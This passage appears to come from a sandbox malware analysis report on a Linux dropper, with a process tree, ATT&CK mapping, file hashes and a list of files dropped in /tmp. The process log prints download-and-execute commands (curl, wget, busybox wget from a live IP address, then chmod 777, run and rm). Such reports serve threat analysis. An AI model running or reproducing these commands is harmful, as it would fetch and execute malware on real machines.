  PID:1655
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Writes file to tmp directory
  PID:1656
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:1657
- /bin/chmod
  chmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - File and Directory Permissions Modification
  PID:1658
- /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  ./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Executes dropped EXE
  PID:1659
- /bin/rm
  rm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:1660
- /usr/bin/wget
  wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:1661
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Writes file to tmp directory
  PID:1662
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:1663
- /bin/chmod
  chmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - File and Directory Permissions Modification
  PID:1664
- /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  ./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Executes dropped EXE
  PID:1665
- /bin/rm
  rm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:1666

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L

Path /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	1502	wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	1508	gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	1515	RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	1521	GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	1527	EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	1533	dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	1539	nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	1545	ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	1551	J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	1557	WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	1563	aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	1569	0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	1575	MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	1581	cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	1587	EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	1593	GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	1599	J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	1605	dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	1611	nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	1617	ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	1623	cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	1629	WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	1635	aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	1641	0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	1647	MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	1653	RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	1659	wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	1665	gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj